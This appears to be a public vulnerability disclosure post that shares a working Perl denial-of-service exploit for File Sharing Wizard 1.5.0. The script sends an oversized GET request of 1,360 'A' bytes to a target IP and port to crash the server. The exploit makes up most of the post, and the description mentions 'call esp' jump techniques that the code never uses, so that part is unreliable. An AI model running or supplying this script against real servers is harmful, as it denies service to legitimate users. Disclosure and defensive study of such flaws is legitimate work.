, good morning. How are you? I'm sharing the creation of an exploit to exploit a denial of service vulnerability in: File Sharing Wizard 1.5.0 - Denial of Service (DoS). #!/usr/bin/perl use IO::Socket::INET; # Exploit Title: File Sharing Wizard 1.5.0 - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 07 january 2024# Vendor Homepage:  N/A# Download to demo: https://drive.google.com/file/d/13fs9IHSaGQ27YIQNDyrQV20jCT7owPQ6/view?usp=sharing# Notification vendor: No reported# Tested Version: File Sharing Wizard 1.5.0# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)# Vídeo: https://drive.google.com/file/d/1gPiMU0Wemdx-rxEzAPhQCyparn1JiX0j/view?usp=sharing #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The server did not properly handle request with large amounts of data via method GET to web server.#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC     $sis="$^O";     if ($sis eq "windows"){      $cmd="cls";    } else {      $cmd="clear";    }     system("$cmd");        intro();    main();        print "[+] Exploiting... \n";     my $exploit = "\x41"x1360;     my $payload_header  = "GET " . $exploit;    $payload_header .= " HTTP/1.0\r\n\r\n";     my $connect = IO::Socket::INET->new(       PeerAddr => $ip,       PeerPort => $port,       Proto    => 'tcp'    ) or die "Unable to connect to the victim: $!\n";     $connect->send($payload_header);    close $connect;     print "[+] Done! Exploited!\n";     print "[+] Done - Exploited success!!!!!\n\n";     sub intro {      print "#################################################################\n";      print "#           File Sharing Wizard 1.5.0 - Denied of Service       #\n";      print "#                                                               #\n";      print "#                Coded by Fernando Mengali                      #\n";      print "#                                                               #\n";      print "#              e-mail: fernando.mengalli\@gmail.com             #\n";      print "#                                                               #\n";      print "#################################################################\n";  }   sub main { our ($ip, $port) = @ARGV;       unless (defined($ip) && defined($port)) {         print "       \nUsage: $0 <ip> <port>                 \n";        exit(-1);       }  } #3. Solution/ How to fix: # This version product is deprecated Have a great day and good weekend. Thanks very much. Regards,